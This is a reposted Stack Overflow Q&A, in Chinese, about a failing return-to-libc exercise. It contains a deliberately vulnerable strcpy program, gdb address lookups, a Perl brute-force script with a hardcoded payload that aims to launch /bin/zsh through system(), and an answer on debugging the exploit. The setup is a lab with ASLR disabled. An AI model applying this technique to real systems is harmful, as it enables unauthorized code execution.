gpt4 book ai didi

c - 返回 libc - 非法指令

转载 作者:太空狗 更新时间:2023-10-29 17:23:01 28 4
gpt4 key购买 nike

我正在处理缓冲区溢出问题,尤其是返回 libc 类型。

我有以下易受攻击的代码:

#include<stdio.h>
#include<string.h>

main( int argc, char **argv)
{
char buffer[80];
getchar();
strcpy(buffer, argv[1]);
return 1;
}

我使用带有 -mpreferred-stack-boundary=2 标志的 gcc-2.95(没有 -fstack-protector)编译它。我按照 "Hacking: The Art of Exploitation" 的 return into libc 章节进行操作.

首先,我禁用了 ASLR:

$ cat /proc/sys/kernel/randomize_va_space 
0

我找到了system的地址:

$ cat find_system.c
int main() {
system("");
return 0;
}
$ gdb -q find_system
Reading symbols from /home/bob/return_to_libc/find_system...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x8048416
(gdb) run
Starting program: /home/bob/return_to_libc/find_system

Breakpoint 1, 0x08048416 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7eb6680 <system>

我创建了一个环境变量来包含我想使用 system 执行的命令:

$ cat get_env.c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
printf("%s=%s: %p\n", argv[1], getenv(argv[1]), getenv(argv[1]));
return 0;
}
$ export EXPLOIT=/bin/zsh
$ ./get_env EXPLOIT
EXPLOIT=/bin/zsh: 0xbffff96d

然后我编写了一个 perl 脚本来自动获取 shell:

$ cat script.pl
#!/usr/bin/perl

for ($i = 1; $i < 200; $i++) {
print "Perl count: $i\n";
system("echo 1 | ./vuln '" . "A"x$i . "\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'");

}
$ ./script.pl
(...)
Perl count: 69
Perl count: 70
Perl count: 71
Perl count: 72
Illegal instruction
Perl count: 73
Segmentation fault
Perl count: 74
Segmentation fault
(...)

我哪里错了?为什么我得到的是“非法指令”而不是我的 shell?

最佳答案

$ gdb vuln
(gdb) run 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'

改变“A”的数量来测试各种故障。在查找 python -c "p​​rint 'A'*73"(73 用于生成上述内容)中有助于生成参数。

gdb 会准确告诉您崩溃的位置以及崩溃时 EIP/RIP 中的内容。这应该会引导您找到问题的答案。

最有可能的是,您没有在堆栈的返回地址中获得一个好的指针,并且执行在未反汇编为有效指令的内存中着陆。我认为你离这里很近。段错误更有可能是在甚至没有分配的内存区域中执行。

使用 (gdb) x/10i $eip 来识别崩溃时 EIP 中的指令。您可以通过更改该命令中的 10 来改变显示的反汇编长度。

您还需要弄清楚您的系统参数在堆栈中的位置,以便它进入调用约定中的适当位置以让系统调用它。 gdb 应该也能在这里帮助你(同样,使用 x - x/4w 也许 - 和 i r)。

成功的利用需要以上两个部分:0xb7eb6680 必须在返回地址中,0xbffff96d 必须在系统要从中读取它的第一个参数的任何地方。

另一个有用的技巧:在 strcpy 函数末尾的 ret 上设置断点。这是一个方便的地方来检查您的堆栈和注册状态并确定您将要做什么。 ret 是开发发生的地方:读取您提供的返回地址,处理器开始在该地址执行,然后您关闭,假设您可以使用适当的参数维持执行,无论您调用什么,等等。此 ret 处的程序状态是成败点,因此这是查看您的输入有什么问题以及您将或不会成功利用该漏洞的原因的最简单位置。

如果我的 gdb 语法不正确,请原谅我...它不是我的主要调试器。

关于c - 返回 libc - 非法指令,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/13572673/

28 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com